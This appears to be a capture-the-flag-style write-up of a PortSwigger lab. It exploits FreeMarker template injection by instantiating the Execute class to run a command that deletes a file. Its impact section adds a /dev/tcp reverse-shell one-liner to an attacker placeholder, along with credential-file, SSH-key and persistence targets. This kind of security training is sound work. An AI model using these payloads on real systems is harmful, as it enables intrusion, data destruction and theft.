Server-Side Template Injection Using Documentation

Table of Contents
| Platform | PortSwigger Web Security Academy |
| Topic | Server-side template injection |
| Lab | Server-side template injection using documentation |
| Difficulty | Practitioner |
| Engine | FreeMarker (Java) |
| Goal | Delete morale.txt from Carlos’s home directory |
| Tools | Browser, the engine’s own documentation |
The idea#
Sometimes you don’t need a memorised payload. Once you know which template engine is running, its official documentation will often hand you everything you need, including the features that turn template rendering into command execution. This lab is exactly that: identify the engine from an error message, then read the docs to build the exploit.
Reaching the template#
The lab gives you a content-manager account. Start at the shop and go to My account:

Log in as content-manager:


Open any product and click View details:

Content managers can edit the product description template. Click Edit template:

Fingerprinting the engine#
The template uses ${...} interpolation with objects like ${product.stock},
${product.name}, and ${product.price}:

${...} is used by several engines, so provoke an error to be sure. Reference a
variable that does not exist, ${test}, and preview:

The stack trace (the chain of internal method calls the error unwound through,
which the app is leaking to us) is unambiguous: freemarker.core.* classes and a
FreeMarker template error banner. The engine is FreeMarker running on
Java.
Reading the documentation#
Now let the engine tell us how to exploit it. FreeMarker’s FAQ has an entry on letting users upload templates and its security implications:

The answer describes the ?new() built-in, which instantiates arbitrary Java
classes from a template, "com.example.SomeClass"?new(), and warns that a
“dangerous” TemplateModel on the class path can be abused:

So the plan is: use ?new() to instantiate a class that runs commands. Which
class? Browse the FreeMarker Javadoc on javadoc.io:


Open the TemplateModel interface and scan its known implementing classes.
One stands out, Execute:


The Execute class doc says it all: it “gives FreeMarker the ability to execute
external commands,” used from a template as ${exec("/usr/bin/ls")}:

Building the payload#
Combine the two documented features. Use ?new() to instantiate
freemarker.template.utility.Execute, assign it to a variable, then call it with
our command:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }Walking through it:
<#assign ex=...>is FreeMarker’s variable-assignment directive; it stores something into a template variable namedex."freemarker.template.utility.Execute"?new()uses the?new()built-in to instantiate that class by name, soexbecomes anExecuteobject.${ ex("rm /home/carlos/morale.txt") }calls that object like a function, which runs the command on the server.
Append that to the template, preview or save, and the command runs on the server.
morale.txt is deleted and the lab is solved:

Real-world impact#
Deleting morale.txt is just a safe stand-in: instantiating Execute gives
arbitrary command execution on the server. In a real, authorized engagement
the same foothold escalates fast, for example:
- Interactive access — pipe a reverse shell back to your own box (a
bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1orncone-liner) for a hands-on session instead of firing one command at a time. - Credential & key theft — read anything the web user can:
/etc/passwd, application config and.envfiles, database credentials, cloud tokens, and SSH private keys such as~/.ssh/id_rsa. - Lateral movement — reuse harvested SSH keys or passwords to log into the host or pivot to other machines on the network.
- Persistence & exfiltration — append your key to
~/.ssh/authorized_keys, add a cron job, or stage sensitive data for exfiltration.
It’s the same command execution you used to solve the lab, just pointed at a real objective, which is why these bugs rate critical. Only ever against systems you are authorized to test.
Remediation#
- Don’t let users edit templates. Treat template source as code, not data.
- If user-supplied templates are unavoidable, run them through a sandboxed
configuration. FreeMarker’s
TemplateClassResolver.ALLOWS_NOTHING_RESOLVERblocks?new()from reaching classes likeExecute. - Keep the engine and its object wrapper locked down so dangerous
TemplateModelimplementations are never reachable from a template.
Key takeaways#
- A verbose error is a gift: it names the engine and the language, which is the whole game in a “documented exploit” lab.
- The engine’s own documentation is an exploit primitive. FreeMarker
advertises
?new()and shipsExecute, so no third-party payload is needed. - The chain is small:
?new()to instantiate,Executeto run, one command to finish.
Related posts#
- SSTI (Code Context) — the previous lab, breaking out of an expression.
- SSTI in an Unknown Language — fingerprinting an engine you can’t see.
- Full series: PortSwigger: Server-Side Template Injection .